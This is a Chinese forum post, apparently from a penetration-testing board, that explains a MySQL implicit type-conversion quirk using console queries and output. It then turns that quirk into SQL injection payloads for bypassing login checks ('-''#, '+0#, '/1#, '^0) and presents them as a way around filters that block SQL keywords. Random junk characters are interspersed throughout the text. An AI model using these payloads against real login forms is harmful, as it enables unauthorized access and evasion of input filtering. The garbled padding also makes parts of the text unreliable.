我们先来看这样一个场景。 有以下表结构: ) h1 Y. H7 t9 F# [/ A5 X$ K. y # L& J; } D4 @" s" o$ ~& v5 [* \ mysql> desc admin;$ x' S0 m# h, |2 f& i +----------+--------------+------+-----+---------+----------------+% ?7 a( Z. B h5 ^ f | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment |# ?; k1 K6 u1 c- o* R. M | name | char(32) | NO | UNI | NULL | |& _! y3 q4 w) V* \ | password | char(32) | NO | UNI | NULL | |/ c* ^; N( j5 E, K! F +----------+--------------+------+-----+---------+----------------+; E: a/ R7 m& `3 `/ J 3 rows in set (0.00 sec)) V7 d' u/ b! ?4 s8 x 执行select * from admin;,成功返回所有记录内容。7 e, i) v9 y, w8 o 0 ^4 M4 n |7 S +----+--------+----------------------------------+ | id | name | password |( e0 @1 M8 N; g +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+2 W& O8 }& R; p 3 rows in set (0.00 sec): y5 y% u0 ~6 r" Z, a- n* M 执行select * from admin where name=”;,没有匹配到任何记录。 / G) g1 Q$ v' Y- q% v3 K% |, ^& g$ ^ mysql> select * from admin where name = '';5 s0 A% q8 X6 n1 A. a0 V5 X+ S% d Empty set (0.00 sec)- g9 z, ~2 d% W- @/ o$ S( J 那么我们来执行select * from admin where name = ”-”; : U. W' P, I4 j +----+--------+----------------------------------+ | id | name | password |& x. T% A2 m1 V/ T +----+--------+----------------------------------+3 v# Q# s3 {. Q& ]1 z | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+* O- ~# H9 h# f z& ^ 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: mysql> show warnings;7 O9 q' x# R& `, A( Q. f +---------+------+------------------------------------------ | Level | Code | Message+ Q- o1 n' Y4 R0 _8 J +---------+------+------------------------------------------- ?! `6 i$ B, l: s$ t9 e | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin: X) J% n8 }. ? | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s+ W. Z: z Q, T T ?: @ C | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b2 W1 Q1 k) i+ n1 [: |. x +---------+------+------------------------------------------8 X) F. T) O- [' X$ {: K* S 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 z; h% M9 c! [ mysql> select ''-'';& {) a6 m0 H; W4 ` +-------+! {, Z( r' U: J- A+ d | ''-'' |& w# j3 e3 c- R7 m9 ~ +-------+ | 0 | +-------+ 1 row in set (0.00 sec) 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: mysql> select CAST((select name from admin limit 1,1) as DECIMAL);2 n# P7 d: r8 b r' M +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) | +-----------------------------------------------------+ | 0 | +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec)9 Y7 F6 [1 |' Q' n: w 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 0 _6 u. J+ L9 T* {/ i: b: l SQL注入场景: http://www.sqlzoo.net/hack/ ( n; Q% ?/ s a6 x0 I8 V % W4 d: m& R* [% [* z4 E & t. `' f7 J) I ] . Z5 {* O4 ?' k1 S 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 3 I0 {% E B2 z; Z. E5 q- s1 S2 x+ K ; b. S$ w& U# O: ` 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 & I' g$ S' b* T " d3 s( o4 @3 c . E4 M" a: {; u0 x - `) s4 A% ]7 g4 p; F 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 0 \0 O3 J6 I5 e g mysql> select ''/1;' S# Z- x) Q* `$ d- Y +------+ | ''/1 |% {' g5 f. N+ u3 P+ ~. [. l W +------+6 u# U. k. v; [8 D u, R | 0 | +------+! z. M# ~! |, Q: S( X. c 1 row in set (0.00 sec)( \0 _# W* B: F% W3 S; h8 W 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 * P, @9 \% k6 D4 \( t 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |